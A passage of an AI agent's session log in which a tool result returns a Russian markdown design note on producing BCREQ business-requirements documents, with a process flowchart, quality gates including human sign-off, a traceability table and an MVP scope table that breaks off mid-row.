200,\n[2026-09-29T07:44:57.184Z] [STDOUT]   body: X {\n[2026-09-29T07:44:57.189Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:57.196Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:57.200Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:57.204Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:57.207Z] [STDOUT]     },\n[2026-09-29T07:44:57.211Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:57.213Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:57.216Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:57.220Z] [STDOUT]   },\n[2026-09-29T07:44:57.225Z] [STDOUT]   durationMs: 750,\n[2026-09-29T07:44:57.231Z] [STDOUT] }\n[2026-09-29T07:44:57.751Z] [INFO] {\n[2026-09-29T07:44:57.751Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:57.751Z] [INFO]   \"message\": {\n[2026-09-29T07:44:57.751Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:57.751Z] [INFO]     \"content\": [\n[2026-09-29T07:44:57.751Z] [INFO]       {\n[2026-09-29T07:44:57.751Z] [INFO]         \"tool_use_id\": \"toolu_012t9FwENmQpbMZbDwcHZjJ8\",\n[2026-09-29T07:44:57.751Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:57.751Z] [INFO]         \"content\": \"# \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437\\n\\n> \u0424\u0430\u0439\u043b \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u044f: \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u2014\\n> [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u2014\\n> [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u0441\u043e\u0441\u0442\u0430\u0432 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n> [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md).\\n\\n## 1. \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430: BCREQ\\n\\n\u0421\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 BCREQ (`A-BCREQ`) \u0438\u0437 \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e\\n\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f (`A-IN`). \u041f\u043e\u043a\u0430\u0437\u0430\u043d\u044b \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0441\u043b\u0435\u0434.\\n\\n```mermaid\\nflowchart TD\\n    subgraph IN[\\\"\u0412\u0445\u043e\u0434\\\"]\\n        AIN[\\\"A-IN\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430\\\"]\\n        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n        SYS[\\\"\u0421\u0438\u0441\u0442\u0435\u043c\u0430\u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f (SY-3)\\\"]\\n    end\\n\\n    CIN{{\\\"C-IN\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u0445\u043e\u0434\u0430\\\"}}\\n    AIN --> CIN\\n    PC --> CIN\\n    SYS --> CIN\\n\\n    CIN -->|\\\"\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e\\\"| P[\\\"P-01 elicitation-processing\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, process \u0438\u0437 \u0441\u043b\u043e\u0432\u0430\u0440\u044f (EP-R1)\\\"]\\n    CIN -->|\\\"\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043e\\\"| STOP[\\\"\u041e\u0442\u043a\u0430\u0437: \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443(GT-2, fail-closed)\\\"]\\n\\n    subgraph SKA[\\\"\u041d\u0430\u0432\u044b\u043a\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 P-01\\\"]\\n        S1[\\\"SK-transcript-normalization\\\"]\\n        S2[\\\"SK-context-extraction\\\"]\\n        S3[\\\"SK-ambiguity-detection\\\"]\\n    end\\n\\n    P --> S1 --> G1 --> S2 --> G2 --> S3 --> G3\\n\\n    G1[\\\"G-self: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u043c\u044b\u0441\u043b\u0430\\\"]\\n    G2[\\\"G-mach: C-CORE, \u0441\u043b\u043e\u0442\u044b \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b\\\"]\\n    G3{\\\"\u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435\u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u0438?\\\"}\\n\\n    G3 -->|\\\"\u0434\u0430 (\u0440\u0435\u0431\u0440\u043e \u043f\u043e \u0443\u0441\u043b\u043e\u0432\u0438\u044e, EP-R5)\\\"| Q[\\\"P-02 clarification-managementSK-question-formation [G5]\\\"]\\n    Q --> AQ[\\\"A-QUEST\u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443\\\"]\\n    AQ --> S2\\n\\n    G3 -->|\\\"\u043d\u0435\u0442\\\"| CORE[\\\"A-CORE\u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\"]\\n\\n    CORE --> P3[\\\"P-03 bcreq-formationSK-problem-statement \u2192 SK-value-hypothesis\u2192 SK-bcreq-decomposition \u2192 SK-bcreq-assembly\\\"]\\n\\n    subgraph GATE[\\\"\u0413\u0435\u0439\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 (\u043e\u0434\u0438\u043d \u0433\u0435\u0439\u0442, \u0442\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f)\\\"]\\n        GS[\\\"G-self\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u043d\u0430\u0432\u044b\u043a\u0430\\\"]\\n        GM[\\\"G-machC-OUT + \u0441\u0445\u0435\u043c\u0430 + Golden Set (EP-G1)\\\"]\\n        GH[\\\"G-human\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 + \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a (GT-5)\\\"]\\n    end\\n\\n    P3 --> GS --> GM --> GH\\n\\n    GM -->|\\\"\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\\"| REJ[\\\"\u0412\u043e\u0437\u0432\u0440\u0430\u0442 \u043d\u0430 SK-bcreq-assembly\\\"]\\n    REJ --> P3\\n\\n    GH --> OUT[\\\"A-BCREQ\u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\\\"]\\n    GH --> TR[\\\"A-TRACE\u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438\\\"]\\n\\n    OUT --> V1[\\\"V-BIZ\\\"]\\n    OUT --> V2[\\\"V-APPROVE\\\"]\\n    OUT --> V3[\\\"V-DEV\\\"]\\n    OUT --> V4[\\\"V-CONTRACT\\\"]\\n\\n    TR -.->|\\\"source_ref (\u0446\u0438\u0442\u0430\u0442\u0430)\\\"| AIN\\n    TR -.->|\\\"step_actor, gate_result\\\"| GATE\\n    TR -.->|\\\"output_ref\\\"| OUT\\n```\\n\\n**\u041a\u0430\u043a \u0447\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444.**\\n\\n1. **\u041f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u2014 \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433, \u0430 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432\u0445\u043e\u0434\u0430.** `C-IN` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0434\u043e\\n   \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430; \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0438\u043b\u0438 \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0421\u0438\u0441\u0442\u0435\u043c\u0430\\n   \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0434\u043e\u0433\u0430\u0434\u043a\u043e\u0439.\\n2. **\u0420\u043e\u043c\u0431 `G3` \u2014 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u0433\u0440\u0430\u0444\u0430, \u0430 \u043d\u0435 \u0441\u043c\u0435\u043d\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430.** \u0423\u0445\u043e\u0434 \u0432 `P-02` \u043f\u0440\u0438\\n   \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044f\u0445 \u2014 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0431\u0440\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 (`EP-R3`);\\n   \u0432 \u043b\u0438\u0441\u0442\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043e\u043d \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0441 \u043d\u0430\u0431\u043b\u044e\u0434\u0451\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c\\n   \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430 (`EP-R6`).\\n3. **\u041d\u0430\u0432\u044b\u043a\u0438 \u0440\u0430\u0437\u043d\u044b\u0435, \u0433\u0435\u0439\u0442 \u043e\u0434\u0438\u043d.** `G-self`, `G-mach`, `G-human` \u2014 \u0442\u0440\u0438\\n   \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u0430 \u043d\u0435 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0433\u0435\u0439\u0442\u0430 (`10-theory.md`, \u00a72). \u0413\u0435\u0439\u0442\\n   \u0441\u0442\u043e\u0438\u0442 \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u043d\u0435 \u043f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\\n   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 (`OA-2`). \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043d\u0435\\n   \u0432\u0441\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0438, \u0438 \u044d\u0442\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u044f\u0432\u043d\u043e.\\n4. **\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0437\u0430\u0434\u0430\u0451\u0442 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0433\u0435\u0439\u0442 \u2014 \u043c\u043e\u043c\u0435\u043d\u0442.** `C-OUT` \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442, \u0447\u0435\u043c\u0443\\n   \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434; `G4` \u2014 \u0442\u043e\u0447\u043a\u0430, \u0433\u0434\u0435 \u044d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\\n5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438.** `V-BIZ`, `V-APPROVE`,\\n   `V-DEV` \u2014 \u0442\u0440\u0438 \u0447\u0442\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0433\u043e `A-BCREQ`. \u0412\u0435\u0440\u0441\u0438\u044f 0.4 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043a \u043d\u0438\u043c \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0435,\\n   `V-CONTRACT` \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430, \u0433\u0434\u0435 `S-FR` \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a\\n   \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c **\u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c**\u00bb \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u043f\u043e\\n   \u0447\u0435\u0442\u044b\u0440\u0451\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c (\u0447\u0442\u043e, \u043a\u0442\u043e, \u0433\u0434\u0435, \u043a\u043e\u0433\u0434\u0430), \u0430 `S-OPEN` \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u0443\u0441\u0442.\\n   \u041f\u0440\u0435\u0436\u043d\u0438\u0435 \u0442\u0440\u0438 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u044b \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u044b: \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0430\u044f\\n   \u0432\u0435\u0442\u043a\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0438 \u0434\u043e \u043c\u043e\u0434\u0435\u043b\u0438, \u043d\u043e\\n   \u043d\u0435 \u0438\u043c\u0435\u043b\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c `projection`\\n   \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u0430; \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 0.4 \u043f\u043e\u043b\u0435 \u0431\u044b\u043b\u043e \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c,\\n   \u0442\u043e \u0435\u0441\u0442\u044c \u0432\u0435\u0442\u043a\u0430 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n6. **\u0421\u043b\u0435\u0434 \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430.** `A-TRACE` \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u0435\u043c \u0436\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c \u0438\\n   \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0445\u043e\u0434, \u0433\u0435\u0439\u0442\u044b \u0438 \u0432\u044b\u0445\u043e\u0434; \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u043c\\n   (`EP-R4`).\\n\\n## 2. \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c\\n\\n| \u0417\u0432\u0435\u043d\u043e | \u0427\u0435\u043c \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u043e | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f |\\n| --- | --- | --- |\\n| \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u2192 \u043f\u0440\u043e\u0433\u043e\u043d | `trace.input_ref` | `G-mach`, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u044f |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 | `process` \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f `L2` | `G-mach`, `EP-R1` |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f | `path` \u0438 `decisions` \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | `G-mach`, `EP-R6` |\\n| \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u2192 \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 | `source_ref`: \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u0440\u0430\u0437\u0434\u0435\u043b, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 | `G-mach` (`check-source-evidence`), \u0437\u0430\u0442\u0435\u043c `G-human` (`GT-5`) |\\n| \u0448\u0430\u0433 \u2192 \u0430\u043a\u0442\u043e\u0440 | `step_actor` | `G-mach`, `EP-R2` |\\n| \u0448\u0430\u0433 \u2192 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0433\u0435\u0439\u0442\u0430 | `gate_result` \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c | `G-mach` |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | `trace.output_ref` | `G-human` |\\n| \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u2192 \u0441\u043b\u043e\u0442\u044b | \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0441\u043b\u043e\u0442\u043e\u0432 \u0432 \u0448\u0430\u0431\u043b\u043e\u043d\u0435 | `G-mach`, \u0441\u0445\u0435\u043c\u0430 `C-OUT` |\\n\\n\u0417\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0440\u0430\u0437\u043e\u0440\u0432\u0430\u043d\u0430 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0436\u0435 \u0437\u0432\u0435\u043d\u0435: **50 \u0438\u0437 67\\n\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432** \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442, \u0430 66 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 `process` \u0438\u0437 67 \u043b\u0435\u0436\u0430\u0442\\n\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f (`D7`). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 MVP \u043a\u0430\u043a **\u0438\u0437\u043c\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0432\u0435\u043b\u0438\u0447\u0438\u043d\u0430**, \u0430\\n\u043d\u0435 \u043a\u0430\u043a \u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u044f.\\n\\n## 3. \u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 MVP-\u0441\u0440\u0435\u0437\\n\\n\u0421\u0440\u0435\u0437 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0443\u0437\u043a\u0438\u0439: \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441, \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043e\u0434\u0438\u043d \u0446\u0435\u043b\u0435\u0432\u043e\u0439\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442. \u0426\u0435\u043b\u044c \u2014 \u043d\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435, \u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u044b\u0445 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\\n\\n| \u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0441\u0440\u0435\u0437\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a |\\n| --- | --- | --- |\\n| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | `contact-center` | \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 |\\n| \u0421\u0438\u0441\u0442\u0435\u043c\u0430 | \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 | `SY-3`: \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0421\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f |\\n| \u041f\u0440\u043e\u0446\u0435\u0441\u0441\u044b | `P-01` `elicitation-processing` \u0438 `P-03` `bcreq-formation`, \u0432\u0435\u0442\u0432\u044c `P-02` `clarification-management` | \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043e\u0442 \u0441\u044b\u0440\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0434\u043e \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430; \u0432\u0435\u0442\u0432\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430, \u0438\u043d\u0430\u0447\u0435 \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0447\u0435\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c |\\n| \u0426\u0435\u043b\u0435\u0432\u043e\u0439 